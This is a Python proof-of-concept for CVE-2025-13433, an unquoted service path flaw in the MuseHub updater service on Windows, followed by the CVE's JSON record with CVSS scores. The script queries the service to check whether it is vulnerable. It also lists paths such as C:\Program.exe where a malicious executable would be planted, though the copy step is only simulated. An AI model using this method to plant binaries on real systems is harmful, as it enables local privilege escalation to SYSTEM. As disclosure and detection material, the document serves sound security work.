CVE-2025-13433

# CVE-2025-13433 PoC - Unquoted Service Path in MuseHub Muse.Updater.exe # Author: Security Researcher # This PoC demonstrates the unquoted service path vulnerability import os import sys import subprocess import time def check_vulnerable_service(): """Check if MuseHub updater service is installed and has unquoted path""" try: # Query Windows service information result = subprocess.run( ['sc', 'qc', 'MuseHubUpdater'], capture_output=True, text=True ) if 'MuseHub' in result.stdout or result.returncode == 0: print("[*] MuseHubUpdater service found") # Check the BINARY_PATH_NAME for unquoted spaces for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[*] Service path: {path}") # Check if path contains spaces and no quotes if ' ' in path and not path.startswith('"'): print("[!] VULNERABLE: Path contains spaces without quotes!") return True, path else: print("[-] Not vulnerable or path is quoted") return False, path else: print("[-] MuseHubUpdater service not found") return False, None except Exception as e: print(f"[-] Error checking service: {e}") return False, None def exploit_unquoted_path(malicious_exe_path): """ Exploit the unquoted service path by placing malicious executable Note: This requires administrator privileges to create files in Program Files """ vulnerable_paths = [ r'C:\Program.exe', r'C:\Program Files\WindowsApps\Muse.MuseHub_2.1.0.1567_x64__rb9pth70m6nz6\Muse.exe' ] print("[*] Attempting to place malicious executable...") for target_path in vulnerable_paths: try: # In real attack, this would be a reverse shell or malicious payload # For demonstration, we show the concept print(f"[*] Would create: {target_path}") print(f"[*] Copy malicious executable to: {target_path}") # Simulate file creation (requires admin privileges) # In production: shutil.copy(malicious_exe_path, target_path) return True except PermissionError: print(f"[-] Insufficient privileges to write to {target_path}") except Exception as e: print(f"[-] Error: {e}") return False def main(): print("=" * 60) print("CVE-2025-13433 PoC - MuseHub Unquoted Service Path") print("=" * 60) # Step 1: Check if vulnerable is_vulnerable, service_path = check_vulnerable_service() if is_vulnerable: print("\n[!] Target is VULNERABLE to CVE-2025-13433") print("[*] Attack requires:") print(" 1. Low-privilege user access") print(" 2. Ability to write to service path directories") print(" 3. Service restart (system reboot or manual restart)") # Step 2: Demonstrate exploitation steps exploit_unquoted_path('malicious.exe') print("\n[*] After service restart, malicious code executes with SYSTEM privileges") else: print("\n[-] Target is NOT vulnerable or service not found") if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-13433", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:24.337", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in Muse Group MuseHub 2.1.0.1567. The affected element is an unknown function of the file C:\\Program Files\\WindowsApps\\Muse.MuseHub_2.1.0.1567_x64__rb9pth70m6nz6\\Muse.Updater.exe of the component Windows Service. The manipulation results in unquoted search path. The attack is only possible with local access. A high complexity level is associated with this attack. The exploitability is described as difficult. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:L/AC:H/Au:S/C:C/I:C/A:C", "baseScore": 6.0, "accessVector": "LOCAL", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 1.5, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-426"}, {"lang": "en", "value": "CWE-428"}]}], "references": [{"url": "https://github.com/lakshayyverma/CVE-Discovery/blob/main/Musehub.md", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.332977", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.332977", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.687547", "source": "[email protected]"}]}}